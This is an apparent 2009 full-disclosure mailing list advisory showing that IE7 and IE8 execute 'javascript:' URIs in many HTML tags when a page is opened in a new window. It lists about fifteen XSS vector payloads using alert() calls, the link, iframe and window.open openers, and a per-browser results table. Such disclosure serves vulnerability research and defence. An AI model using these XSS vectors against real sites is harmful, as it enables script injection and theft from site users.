full-disclosure - Multiple Exploiting IE8/IE7 XSS Vulnerability

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Date: Sun, 21 Jun 2009 16:27:03 +0800
From: IEhrepus <5up3rh3i@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Multiple Exploiting IE8/IE7 XSS Vulnerability

Multiple Exploiting IE8/IE7 XSS Vulnerability

Author: www.80vul.com [Email:5up3rh3i#gmail.com]
Release Date: 2009/06/22
References: http://www.80vul.com/ie8/Multiple%20Exploiting%20IE8IE7%20XSS%20Vulnerability.txt

Overview:

  Tags[not include <IFRAME>] in ie7/8 are don't allowe to run
"javascript:[jscodz]",but
we found them allowed ro run where open it in new target.

like this url:

http://www.80vul.com/test/ie8-1.htm

ie8-1.htm's codz :

<STYLE>@import 'javascript:alert("xss1")';</STYLE>
<IMG SRC=javascript:alert('XSS2')>
<BODY BACKGROUND="javascript:alert('XSS3')">
<LINK REL="stylesheet" HREF="javascript:alert('XSS4');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS5');">
<IFRAME SRC="javascript:alert('XSS6');"></IFRAME>
<DIV STYLE="background-image: url(javascript:alert('XSS7'))">
<STYLE>.XSS{background-image:url("javascript:alert('XSS8')");}</STYLE><A
CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS9')")}</STYLE>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param
name=url value=javascript:alert('XSS10')></OBJECT>
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<script SRC="javascript:alert('xss11');"></script>
<video SRC="javascript:alert('xss12');"</video>
<LAYER SRC="javascript:alert('xss13')"></LAYER>
<embed src="javascript:alert('xss14')"
type="application/x-shockwave-flash" allowscriptaccess="always"
width="0" height="0"></embed>
<applet src="javascript:alert('xss15')" type=text/html>

when visite this url by ie7/8, <IFRAME
SRC="javascript:alert('XSS6');"></IFRAME> this is runing, but other
aren't to run.
but, where open ie8-1.htm in new target[like this :<a href=
target="_blank"> and <iframe> and window.open in <sript> ... etc.] ,so
test this codz in my localhost:

<a href="http://www.80vul.com/test/ie8-1.htm" target="_blank">go</a>
[PS: <a href="http://www.80vul.com/test/ie8-1.htm">go</a> don't work]

of couse this codz:

<iframe src="http://www.80vul.com/test/ie8s.htm"></iframe>

and this codz:

<script>window.open("http://www.80vul.com/test/ie8-1.htm");</script>

........[testing].......

So the results is :
---------------------------------------------------------
 IE |  alert
---------------------------------------------------------
ie7: xss4/xss3/xss2/xss1/xss8/xss/xss11/xss7/xss6/xss9
------------------------------------------------------
ie8: xss4/xss1/xss11/xss6
---------------------------------------------------------

Disclosure Timeline:

2009/05/01 - Found this Vulnerability
2009/06/22 - Public Disclosure

Greeting:

ycosxhack[http://hi.baidu.com/ycosxhack],Not his test,not this Vulnerability.



-- 
hitest

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